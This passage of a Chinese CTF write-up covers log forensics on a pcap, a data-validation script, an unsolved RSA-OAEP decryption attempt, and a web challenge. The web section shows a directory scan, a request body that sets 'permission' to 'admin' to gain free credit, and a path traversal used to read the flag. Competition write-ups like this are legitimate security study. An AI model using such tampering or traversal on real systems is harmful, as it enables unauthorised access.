class="string">&quot;MzkuMTkzLjY2LjI0NS0gLSBbMDgvSmFuLzIwMjU6MTk6NDQ6NTkgKzAwMDBdICJHRVQgL2FwcC9saXN0LnBocCBIVFRQLzEuMSIgMjAwIDM0NzMgIi0iICJPcGVyYS85LjY4LihYMTE7IExpbnV4IGk2ODY7IGlkLUlEKSBQcmVzdG8vMi45LjE3OCBWZXJzaW9uLzExLjAwIgo=&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;Log-Data&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>发现 msg 字段也是 base64 编码内容，解码得到</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">39.193</span><span class="number">.66</span><span class="number">.245</span>- - <span class="punctuation">[</span><span class="number">08</span>/Jan/<span class="number">2025</span><span class="punctuation">:</span><span class="number">19</span><span class="punctuation">:</span><span class="number">44</span><span class="punctuation">:</span><span class="number">59</span> +<span class="number">0000</span><span class="punctuation">]</span> <span class="string">&quot;GET /app/list.php HTTP/1.1&quot;</span> <span class="number">200</span> <span class="number">3473</span> <span class="string">&quot;-&quot;</span> <span class="string">&quot;Opera/9.68.(X11; Linux i686; id-ID) Presto/2.9.178 Version/11.00&quot;</span></span><br></pre></td></tr></table></figure><p>所以我们可以得知数据流的格式应该为</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">base64.b64encode(json.dump(&#123;<span class="string">&quot;msg&quot;</span>: base64.b64encode(<span class="string">&quot;RAW_HTTP_LOG&quot;</span>), <span class="string">&quot;type&quot;</span>: <span class="string">&quot;Log-Data&quot;</span>&#125;))</span><br></pre></td></tr></table></figure><p>重点应该在 X11 协议的数据，通过 Python 写个脚本提取一下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> scapy.<span class="built_in">all</span> <span class="keyword">import</span> rdpcap, Raw</span><br><span class="line"></span><br><span class="line">packets = rdpcap(<span class="string">&quot;network_traffic.pcap&quot;</span>)</span><br><span class="line">count = <span class="number">0</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;output.bin&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> pkt <span class="keyword">in</span> packets:</span><br><span class="line">        count += <span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;extracting...<span class="subst">&#123;count&#125;</span>&quot;</span>,end=<span class="string">&#x27;\r&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> Raw <span class="keyword">in</span> pkt:</span><br><span class="line">            f.write(pkt[Raw].load)</span><br><span class="line">            f.write(<span class="string">b&#x27;\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;err when extract pkg <span class="subst">&#123;count&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>在用赛博厨子来提取一下（菜谱如下）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://gchq.github.io/CyberChef/#recipe=From_Base64(&#x27;A-Za-z0-9%2B/%3D&#x27;,true,false)Regular_expression(&#x27;User%20defined&#x27;,&#x27;%7B%22msg%22:%22(.*?)%22,%22type%22:%22Log-Data%22%7D&#x27;,true,false,false,false,false,false,&#x27;List%20capture%20groups&#x27;)From_Base64(&#x27;A-Za-z0-9%2B/%3D&#x27;,true,false)</span><br></pre></td></tr></table></figure><p>得到日志文件，可以看到有一个很明显的日志</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">35.127</span><span class="number">.46</span><span class="number">.111</span> - - <span class="punctuation">[</span><span class="number">09</span>/Jan/<span class="number">2025</span><span class="punctuation">:</span><span class="number">16</span><span class="punctuation">:</span><span class="number">10</span><span class="punctuation">:</span><span class="number">55</span> +<span class="number">0000</span><span class="punctuation">]</span> <span class="string">&quot;POST /config_update.php HTTP/1.1&quot;</span> <span class="number">200</span> <span class="number">3677</span> <span class="string">&quot;-&quot;</span> <span class="string">&quot;Mozilla/5.0 (compatible; MSIE 9.0; Windows 98; Win 9x 4.90; Trident/3.1)&quot;</span></span><br></pre></td></tr></table></figure><p>访问的是关键路径 <code>config_update.php</code> 而且进行了多次访问同一路径，符合题目中描述的攻击，得到 IP 为 <code>35.127.46.111</code></p><p>再 MD5 一下，得到最后的 flag 为 <code>flag&#123;475ed6d7f74f586fb265f52eb42039b6&#125;</code></p><h3 id="数据校验-Luminoria"><a href="#数据校验-Luminoria" class="headerlink" title="数据校验 | @Luminoria"></a>数据校验 | @Luminoria</h3><blockquote><p>某平台发现部分用户的信息不满足平台的数据合规要求，现让你来协助分析平台用户数据。</p><p>请将所有不合规数据的序列号按照从小到大的顺序用 _ 连接后MD5并包上 flag{} 提交。例如，不合规的数据序列号为6、38、1680，则连接后为 6_38_1680 ，flag为 flag{1ffcb6d1c2108cd54a7743a6f91a289a}</p></blockquote><p>数据清洗题目，从题目提供的 PDF 可以得到校验规则</p><ul><li>用户名 <code>username</code> 格式必须为 <code>User-</code> +字符串</li><li><code>UserName_Check</code> 为用户名的32位小写 MD5 值</li><li><code>Password</code> 密码只能出现大小写字母和数字</li><li><code>Password_Check</code> 为密码的32为小写 MD5 值</li><li><code>IP</code> 为用户的 IP 地址</li><li><code>Signature</code> 用户签名值，对用户名采用 ECDSA 算法进行数字签名</li></ul><p>所以用 Python 写个脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> re </span><br><span class="line"><span class="keyword">from</span> ecdsa <span class="keyword">import</span> SigningKey, BadSignatureError, VerifyingKey</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">wrong_data = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;数据校验/data.csv&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> tqdm(f.readlines()):</span><br><span class="line">        serial, username, namecheck, passwd, passcheck, ip, sign = line.split(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> serial == <span class="string">&quot;Serial_Number&quot;</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 检验用户名格式</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> username.startswith(<span class="string">&quot;User-&quot;</span>):</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 用户名不合规！&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 检验用户名 md5</span></span><br><span class="line">        <span class="keyword">if</span> hashlib.md5(username.encode()).hexdigest() != namecheck:</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 用户名校验失败！&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 检验密码是否存在非法字符</span></span><br><span class="line">        <span class="keyword">for</span> char <span class="keyword">in</span> passwd:</span><br><span class="line">            pass_wrong = <span class="number">0</span></span><br><span class="line">            <span class="keyword">if</span> char <span class="keyword">not</span> <span class="keyword">in</span> string.ascii_letters + string.digits:</span><br><span class="line">                wrong_data.append(serial)</span><br><span class="line">                pass_wrong = <span class="number">1</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">if</span> pass_wrong:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 密码存在非法字符！&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 检验密码 md5</span></span><br><span class="line">        <span class="keyword">if</span> hashlib.md5(passwd.encode()).hexdigest() != passcheck:</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 密码校验失败！&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 检验 IP 地址格式</span></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> re.<span class="keyword">match</span>(<span class="string">r&quot;^(?:[0-9]&#123;1,3&#125;\.)&#123;3&#125;[0-9]&#123;1,3&#125;$&quot;</span>, ip):</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> IP 地址格式错误！&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="comment"># 校验签名        </span></span><br><span class="line">        vk = VerifyingKey.from_pem(<span class="built_in">open</span>(<span class="string">f&quot;数据校验/ecdsa-key/<span class="subst">&#123;serial&#125;</span>.pem&quot;</span>, <span class="string">&quot;rt&quot;</span>).read())</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="comment"># 将 Base64 编码的签名解码为字节</span></span><br><span class="line">            signature_bytes = base64.b64decode(sign)</span><br><span class="line">            <span class="comment"># 验证签名，默认使用 SHA-1</span></span><br><span class="line">            vk.verify(signature_bytes, username.encode())</span><br><span class="line">        <span class="keyword">except</span> BadSignatureError:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 签名校验失败！&quot;</span>)</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">        <span class="keyword">except</span> ValueError <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;serial&#125;</span> 签名解码失败！错误：<span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            wrong_data.append(serial)</span><br><span class="line">            </span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;_&quot;</span>.join(wrong_data))</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;数据校验/output.txt&quot;</span>, <span class="string">&quot;wt&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(<span class="string">&quot;_&quot;</span>.join(wrong_data))</span><br></pre></td></tr></table></figure><p>得到数据不合格的用户连接起来后为 <code>4604_13960_20213_22586_29216_33270_40123_42949_45567</code></p><p>他们的问题分别是</p><ul><li>4604 用户名不合规！</li><li>13960 用户名不合规！</li><li>20213 用户名校验失败！</li><li>22586 用户名校验失败！</li><li>29216 密码存在非法字符！</li><li>33270 密码校验失败！</li><li>40123 IP 地址格式错误！</li><li>42949 IP 地址格式错误！</li><li>45567 签名校验失败！</li></ul><p>再经过 MD5 计算得到 <code>flag&#123;6ba2c3dd58a321f8b75e75ecc2e06663&#125;</code></p><h3 id="Strange-Database-Luminoria-未出"><a href="#Strange-Database-Luminoria-未出" class="headerlink" title="Strange Database | @Luminoria | 未出"></a>Strange Database | @Luminoria | 未出</h3><blockquote><p>企业的数据库信息和密钥在传输过程中被截获了，请分析以下数据并获取flag.</p></blockquote><p>给了一堆 sqlite3 的数据库文件和经过 OAEP 加密过后的 RSA 私钥</p><p>写个脚本提取一下数据库，便于后面处理</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> sqlite3</span><br><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">from</span> glob <span class="keyword">import</span> glob</span><br><span class="line"></span><br><span class="line">DB_FOLDER = <span class="string">&quot;./database&quot;</span></span><br><span class="line">OUTPUT_FOLDER = <span class="string">&quot;data&quot;</span></span><br><span class="line"></span><br><span class="line">os.makedirs(OUTPUT_FOLDER, exist_ok=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">db_files = glob(os.path.join(DB_FOLDER, <span class="string">&quot;*.db&quot;</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> db_file <span class="keyword">in</span> db_files:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># 连接数据库</span></span><br><span class="line">        conn = sqlite3.connect(db_file)</span><br><span class="line">        cursor = conn.cursor()</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 获取数据库名称（去掉路径和后缀）</span></span><br><span class="line">        db_name = os.path.splitext(os.path.basename(db_file))[<span class="number">0</span>]</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 为当前数据库创建一个子文件夹存放 CSV</span></span><br><span class="line">        db_output_folder = os.path.join(OUTPUT_FOLDER, db_name)</span><br><span class="line">        os.makedirs(db_output_folder, exist_ok=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 获取数据库中的所有表</span></span><br><span class="line">        cursor.execute(<span class="string">&quot;SELECT name FROM sqlite_master WHERE type=&#x27;table&#x27;;&quot;</span>)</span><br><span class="line">        tables = cursor.fetchall()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> table <span class="keyword">in</span> tables:</span><br><span class="line">            table_name = table[<span class="number">0</span>]</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="comment"># 读取表数据</span></span><br><span class="line">                df = pd.read_sql_query(<span class="string">f&quot;SELECT * FROM <span class="subst">&#123;table_name&#125;</span>;&quot;</span>, conn)</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 保存为 CSV</span></span><br><span class="line">                csv_file = os.path.join(db_output_folder, <span class="string">f&quot;<span class="subst">&#123;table_name&#125;</span>.csv&quot;</span>)</span><br><span class="line">                df.to_csv(csv_file, index=<span class="literal">False</span>, encoding=<span class="string">&quot;utf-8-sig&quot;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;已导出: <span class="subst">&#123;csv_file&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> table_error:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;导出表 <span class="subst">&#123;table_name&#125;</span> 失败: <span class="subst">&#123;table_error&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="comment"># 关闭数据库连接</span></span><br><span class="line">        conn.close()</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;处理数据库 <span class="subst">&#123;db_file&#125;</span> 时出错: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>然后再写个脚本来解密一下（注：文件名中有私钥的密码）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives.asymmetric <span class="keyword">import</span> padding</span><br><span class="line"><span class="keyword">from</span> cryptography.hazmat.primitives <span class="keyword">import</span> serialization, hashes</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> glob</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"></span><br><span class="line">KEY_FOLDER = <span class="string">&quot;key&quot;</span></span><br><span class="line">PLAIN_DATA_FOLDER = <span class="string">&quot;data&quot;</span></span><br><span class="line"></span><br><span class="line">KEYS = <span class="built_in">sorted</span>(glob.glob(<span class="string">f&quot;<span class="subst">&#123;KEY_FOLDER&#125;</span>/*.pem&quot;</span>), key=<span class="keyword">lambda</span> x: <span class="built_in">int</span>(x.split(<span class="string">&quot;-&quot;</span>)[<span class="number">1</span>]))</span><br><span class="line">DATA_FILES = <span class="built_in">sorted</span>(</span><br><span class="line">    glob.glob(<span class="string">f&quot;<span class="subst">&#123;PLAIN_DATA_FOLDER&#125;</span>/database-*/accounts.csv&quot;</span>),</span><br><span class="line">    key=<span class="keyword">lambda</span> x: <span class="built_in">int</span>(os.path.basename(os.path.dirname(x)).split(<span class="string">&quot;-&quot;</span>)[<span class="number">1</span>]),</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">all_data = []  <span class="comment"># 所有数据</span></span><br><span class="line">data_chunk = []  <span class="comment"># 分块数据</span></span><br><span class="line"></span><br><span class="line">remarks = <span class="built_in">open</span>(<span class="string">&quot;output/remarks.txt&quot;</span>, <span class="string">&quot;wt&quot;</span>)</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt_data</span>(<span class="params">data: <span class="built_in">str</span>, key_file: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="comment"># 读取私钥</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(key_file, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        private_key = serialization.load_pem_private_key(</span><br><span class="line">            f.read(),</span><br><span class="line">            password=key_file.split(<span class="string">&quot;-&quot;</span>)[-<span class="number">1</span>].replace(<span class="string">&quot;.pem&quot;</span>, <span class="string">&quot;&quot;</span>).encode(),</span><br><span class="line">        )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Base64 解码</span></span><br><span class="line">    encrypted_data = base64.b64decode(data)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 解密</span></span><br><span class="line">    decrypted_data = private_key.decrypt(</span><br><span class="line">        encrypted_data,</span><br><span class="line">        padding.OAEP(</span><br><span class="line">            mgf=padding.MGF1(algorithm=hashes.SHA1()),</span><br><span class="line">            algorithm=hashes.SHA1(),</span><br><span class="line">            label=<span class="literal">None</span>,</span><br><span class="line">        ),</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> decrypted_data.decode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> tqdm(<span class="built_in">range</span>(<span class="number">0</span>, <span class="number">500</span>)):  <span class="comment"># 表示数据索引</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(DATA_FILES[i]) <span class="keyword">as</span> f:</span><br><span class="line">            data = f.readlines()[<span class="number">1</span>:]  <span class="comment"># 跳过首行</span></span><br><span class="line">            file_data = []</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> data:</span><br><span class="line">                line_data = []</span><br><span class="line">                splited_data = line.split(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">                <span class="keyword">for</span> idx <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">5</span>):  <span class="comment"># 表示列索引</span></span><br><span class="line">                    <span class="keyword">if</span> idx == <span class="number">1</span>:</span><br><span class="line">                        line_data.append(splited_data[idx])</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    decrypted_data = decrypt_data(splited_data[idx], <span class="built_in">str</span>(KEYS[i]))</span><br><span class="line">                    line_data.append(decrypted_data)</span><br><span class="line">                    <span class="keyword">if</span> <span class="built_in">len</span>(all_data) != i + <span class="number">1</span>:</span><br><span class="line">                        all_data.append([])</span><br><span class="line">                    <span class="keyword">if</span> idx == <span class="number">4</span>:</span><br><span class="line">                        remarks.write(decrypted_data)</span><br><span class="line">                all_data.append(<span class="string">&quot;,&quot;</span>.join(line_data))</span><br><span class="line">                file_data.append(<span class="string">&quot;,&quot;</span>.join(line_data))</span><br><span class="line">                </span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;output/<span class="subst">&#123;i&#125;</span>.csv&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(<span class="string">&quot;\n&quot;</span>.join(file_data))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;output/all.csv&quot;</span>, <span class="string">&quot;a&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(<span class="string">&quot;\n&quot;</span>.join(all_data[<span class="number">1</span>:]))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后可以导出看到数据，但是搜关键词找不到，想到可能在 remark 列里面的内容会藏有 flag，于是提取出来，发现还是没有 flag</p><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/image-20250322151133862.png"></p><p>那好吧，这分确实拿不到 &#x3D;-&#x3D;</p><h2 id="Web-Rusty"><a href="#Web-Rusty" class="headerlink" title="Web | @Rusty"></a>Web | @Rusty</h2><h3 id="简单的仓库"><a href="#简单的仓库" class="headerlink" title="简单的仓库"></a>简单的仓库</h3><blockquote><p>一个简单的仓库系统，但是你会用他吗？</p></blockquote><p>目录扫描</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Target: http://eci-2zefyydc0iza52rh6cjw.cloudeci1.ichunqiu.com/</span><br><span class="line"></span><br><span class="line">[11:12:48] Starting:</span><br><span class="line">[11:13:11] 500 -  290B  - /download/history.csv</span><br><span class="line">[11:13:11] 500 -  290B  - /download/users.csv</span><br><span class="line">[11:13:17] 200 -    2KB - /login</span><br><span class="line">[11:13:25] 200 -    2KB - /register</span><br><span class="line">[11:13:31] 405 -  178B  - /upload</span><br></pre></td></tr></table></figure><p>充值时发现修改权限等级可以实现直接充值</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;amount&quot;</span><span class="punctuation">:</span><span class="string">&quot;999999&quot;</span><span class="punctuation">,</span><span class="attr">&quot;username&quot;</span><span class="punctuation">:</span><span class="string">&quot;rusty&quot;</span><span class="punctuation">,</span><span class="attr">&quot;permission&quot;</span><span class="punctuation">:</span><span class="string">&quot;admin&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/4033d036-3fab-415f-803e-26c8438a90b6-1742627560197-1.png"></p><p>user改为admin可以发现hint，知道了flag的路径</p><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/b82fcec9-616c-437c-9136-21e139c80f42-1742627560197-3.png"></p><p>发现&#x2F;api&#x2F;files显示目录有路径穿越</p><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/3e231b9c-d45b-433e-b15d-aa44397a594e-1742627560197-2.png"></p><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/f7c5f197-9053-44b5-9c84-7ad4d6f7521b-1742627560197-5.png"></p><p>发现用户名是在file目录下分别有目录的，最后通过user实现路径穿越得到flag</p><p><img src="https://assets.bili33.top/img/CTF-Hongminggu2025-Preliminary-round-Writeup/9c3ccccc-86b4-419a-a83f-acae60f435b6-1742627560197-4.png"></p><h4 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h4><p>附上题目源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span 